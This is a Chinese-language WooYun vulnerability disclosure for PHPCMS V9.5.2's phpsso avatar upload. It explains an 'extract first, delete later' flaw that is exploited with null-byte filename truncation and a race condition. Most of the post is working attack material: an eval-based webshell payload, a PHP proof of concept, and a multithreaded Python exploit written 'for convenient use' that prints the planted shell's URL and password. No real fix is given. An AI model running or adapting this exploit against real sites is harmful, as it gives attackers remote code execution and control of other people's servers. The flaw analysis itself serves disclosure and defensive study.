漏洞详情

披露状态:

2014-01-25: 细节已通知厂商并且等待厂商处理中
2014-01-26: 厂商已经确认,细节仅向厂商公开
2014-01-29: 细节向第三方安全合作伙伴开放
2014-02-05: 细节向核心白帽子及相关领域专家公开
2014-02-15: 细节向普通白帽子公开
2014-03-07: 细节向实习白帽子公开
2014-04-25: 细节向公众公开

简要描述:

PHPCMS前台存在严重设计缺陷
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.

但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.

PS: 明天放假了,在这里祝大家新年快乐!

详细说明:

#1 前言

猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…

#2 叼着炸药包的猛兽来了

请先看下面这段代码

<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
//...
unlink($_GET['dst']);
//...
}
?>



这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看

猛兽放进室内:copy($_GET['src'],$_GET['dst']);



这条猛兽不安全,杀之:unlink($_GET['dst']);



炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)



上述代码即存在本文所讲的设计缺陷

copy($_GET['src'],$_GET['dst']);



可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...

但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....

#3 PHPCMS案例

PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码

/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数

public function uploadavatar() {

//根据用户id创建文件夹
if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
$this->uid = $this->data['uid'];
$this->avatardata = $this->data['avatardata'];
} else {
exit('0');
}

$dir1 = ceil($this->uid / 10000);
$dir2 = ceil($this->uid % 10000 / 1000);

//创建图片存储文件夹
$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
if(!file_exists($dir)) {
mkdir($dir, 0777, true);
}
//存储flashpost图片
$filename = $dir.$this->uid.'.zip';
file_put_contents($filename, $this->avatardata);

pc_base::load_sys_func('dir');
//解压缩文件
pc_base::load_app_class('pclzip', 'phpsso', 0);
$archive = new PclZip($filename);
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);

//判断文件安全,删除压缩包和非jpg图片
$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
$files = glob($dir."*");
foreach($files as $_files) {
if(is_dir($_files)) dir_delete($_files);
if(!in_array(basename($_files), $avatararr)) @unlink($_files);
}
if($handle = opendir($dir)) {
while(false !== ($file = readdir($handle))) {
if($file !== '.' && $file !== '..') {
if(!in_array($file, $avatararr)) {
@unlink($dir.$file);
} else {
$info = @getimagesize($dir.$file);
if(!$info || $info[2] !=2) {
@unlink($dir.$file);
}
}
}
}
closedir($handle);
}
$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
exit('1');
}



大概意思是解压ZIP文件,再删除非jpg文件,目录等(看见了吧,产生了#2所述的设计缺陷,典型的引狼入室,再杀之的设计理念),但由于在此处出现过上传漏洞,增加了这么一行代码:

$archive->allow_ext = array('jpg');



只允许jpg格式文件,不允许php后缀的文件,这为我们下面的漏洞利用带来了不少的麻烦,但别急,后面我会讲到突破的方法...

#4 突破限制产生php临时文件

虽然代码限制了只能是jpg格式的文件,但我们的文件名可以是1.php.php.jpg 对吧,

想到什么没有呢?对!采用文件名截断...行动吧

(为了方便调试,我们加入如下代码,即在解压zip文件后,删除非jpg文件前中断代码的执行)

$archive = new PclZip($filename);
exit('zanting....');//我们添加的调试代码
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);



结果,成功在目录下生成了1.php文件

1.jpg



2.jpg



#5 漏洞利用poc

只要有php文件生成那就好办了,poc构想如下:

正常情况:

上传头像-->生成临时文件(1.php)-->删除非jpg文件

我们想要的情况:

上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功

1.php.php.jpg文件的内容为:

<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>



同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:

3.jpg



当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...

于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...

我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...

<?php
/**
* Created by felixk3y
* Date: 14-01-10
* Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
* Blog: http://weibo.com/rootsafe
*/
error_reporting(7);
if($argc<2){
print "\n\tUsage:exp.php www.vulns.org\n";
exit();
}
$num = 0;
$loop = 0;
$host = $argv[1];
$posts = post();
$shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
$tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除
//先访问临时数据包
while(++$loop<6){
echo "正在进行第".$loop."轮尝试...\n";
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
while(++$num<51){
echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";
send_http($host,$posts);//正常提交数据包
//if($num%2==0){
_get($host,$tmpfile);
//}
}
$num = 0;
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
}
$res = _get($host,$shell);
if(preg_match('/200 OK/',$res)) {
echo "--->Success!\n\n";
}else{
echo "------->Failed!\n\n";
}
function post(){
$asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php
$repstr = "php".$asc."php";
$data = "";
$fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包
while(!feof($fp)){
$data .=fgets($fp);
}
$data = preg_replace('/php\.php/i',$repstr,$data);
return $data;
}
function hex2asc($str){//进制间转换
$str = join('',explode('\x',$str));
$len = strlen($str);
for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function _get($host,$path){ //http get方法
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$fp = @fsockopen($host,80);
fputs($fp, $headers);
$resp = '';
while (!feof($fp)){
$resp .= fgets($fp, 2048);
}
return $resp;
}
function send_http($host,$post)
{
$data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
$data .= "Host: www.vulns.org\r\n";
$data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Accept-Encoding: gzip, deflate\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
$data .= $post . "\r\n";
//echo $data;
$fp = @fsockopen($host,80,$errno,$errstr,30);
if(!$fp){
echo $errno.'-->'.$errstr."\n";
exit('Could not connect to: '.$host);
}else{
fputs($fp, $data);
$back = '';
while(!feof($fp)){
$back .= fgets($fp, 2048);
}
fclose($fp);
}
return $back;
}
?>

漏洞证明:

#6 Exp利用代码

为了方便利用,最后我用py写了最终的EXP,代码如下

#coding=GB2312
#Date: 2014-01-11 23:50
#Created by felixk3y
#Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...
#Blog: http://weibo.com/rootsafe

import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt

# postu: 文件上传post的URL
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
postu = '/install_package/phpsso_server/index.php'
shell = '/install_package/phpsso_server/uploadfile/shell.php'
tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'

class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)

def run(self):
while True:
print '正在进行第%d轮尝试...\n' % self.loop
while(self.num<3):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1

def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass

def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()


class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)

def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py www.vulns.org'
os._exit(0)

def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)

def post_data():
postdata = ''
asc = hex_to_asc('00')
repstr = 'php%sphp' % asc
fps = open('phpcms.zip','rb')
for sbin in fps.readlines():
postdata += sbin
postdata = postdata.replace('php.php',repstr)
return postdata

def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host

postdata = post_data()
mhost = host.split('/')[2]

dvalue = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'
params = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue
posturl = '%s?%s' % (postu,params)
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)

shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()

for i in range(10):#线程数不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()

if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()





#7 Exp跑起来

phpcms_exp.py www.vulns.org cookie值



效果如下所示

sss.jpg



s.jpg

修复方案:

你们懂.

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-26 13:47

厂商回复:

最新版已经修复过该漏洞!

最新状态:

暂无


漏洞评价: